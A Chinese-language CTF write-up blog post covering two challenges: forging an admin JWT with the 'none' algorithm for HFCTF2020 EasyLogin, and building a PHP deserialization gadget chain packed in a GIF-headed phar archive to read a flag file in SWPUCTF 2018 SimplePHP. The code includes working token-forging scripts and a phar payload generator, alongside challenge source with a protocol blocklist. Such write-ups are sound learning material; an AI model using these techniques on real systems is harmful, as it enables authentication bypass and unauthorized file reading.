[CTF]WriteUp第24篇
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[HFCTF2020]EasyLogin

思路

先注册后登录，全程开YAKIT
这里有个很像JWT的东西

用jwt.io解密之后是这个

到这里就没有头绪了，看WP

解题

首先，在js文件里面有提示

访问/static/js/app.js

提示我们这是koa的框架，koa的默认目录结构可以在网上找到：
koa并没有统一的框架，但大致是这样

controllers/app.js包含主要业务逻辑

这里看/controllers/api.js（不知道这个路径怎么来的，目录爆破？
从koa得知这个路径的过程过于玄学，先不用这个

我们解密JWT后得到一些信息。从网上得知JWP令牌的加密方式设为none时，就不会进行验证而是直接读取了，但好像要服务器的JWT库支持无加密。这道题是显然支持，下面尝试

当输入alg为none时，jwt.io直接不工作了。JWT的标准是前两段base64加密，可以用代码解决：
这里提供了两种方式
注意：一定一定要去除末尾的=

import base64, re

part1 = '{"alg":"none","typ":"JWT"}'
part2 = '{"secretid":[],"username":"admin","password":"123456","iat":1730717070}'
print(
    re.sub(
        "=", 
        "", 
        str(
            base64.b64encode(part1.encode('utf-8')) + '.'.encode('utf-8') +
            base64.b64encode(part2.encode('utf-8')) + '.'.encode('utf-8')
        )
    )
)

import jwt
token = jwt.encode(
    {
        "secretid": [],
        "username": "admin",
        "password": "123456",
        "iat": 1730719890
    },
    algorithm="none",
    key=""
).encode(encoding='utf-8')

print(token)

之后修改cookie尝试拿到flag，发现按钮没有用，抓包看看

结束

注意

  1. 不要忘了js文件也可能成为关键点
  2. 当遇到一个框架时，从框架本身找找线索
  3. JWT的标准：base64编码后去除末尾的=

[SWPUCTF 2018]SimplePHP

思路

发现有文件读取漏洞，通过base.php得知flag在f1ag.php里面，但不能直接读取

先读一读其他文件，这里只放我觉得有用的

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

解题

我直接就想到了phar协议，而且题目很仁慈的给了提示（在class.php的第23行
那么，先看看反序列化的构造

尝试通过C1e4r来echo这个f1ag.php的内容

<?php

class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

$a = new C1e4r();
$a -> str = #文件f1ag.php

$a -> __destruct();

$a -> __destruct();会反序列化后，代码执行完毕，变量销毁时自动调用，因此考虑$a -> str即可
发现Test能够读取文件

<?php

class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
class Test
{
    public $file;
    public $params;
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a = new C1e4r();
$a -> str = #文件f1ag.php
$b = new Test();
$b -> params = {
    #key => "f1ag.php"
}

$a;

然后看看有没有哪里调用$b的属性的，发现Show里面有：

<?php

class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a = new C1e4r();
$a -> str = #文件f1ag.php
$b = new Test();
$b -> params = array("source"=>"f1ag.php");
$c = new Show();
$c -> str = array("str"=>$b);

$a;
$c -> __toString();

最后，发现$a有echo能触发__toString()，完事

<?php

class C1e4r
{
    public $test;
    public $str;
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}
class Show
{
    public $source;
    public $str;
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a = new C1e4r();
$b = new Test();
$b -> params = array("source"=>"f1ag.php");
$c = new Show();
$c -> str = array("str"=>$b);
$a -> str = $c;

// $a;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");  //设置stub，增加gif文件头
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo "end";

先弹end再报错，说明成功了
上传上传

function.php里面有上传的函数

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

看看md5（这里我怎么试都没法构造出md5
题目没有关闭目录索引，直接访问upload就行

然后用phar即可
这里试了半天发现自己忘记改文件名了
明明生成的是phar.phar却一直上传phar.jpg，太蠢了

注意

  1. 改一下浏览器字体，别再1和l分不清了
  2. 别犯蠢

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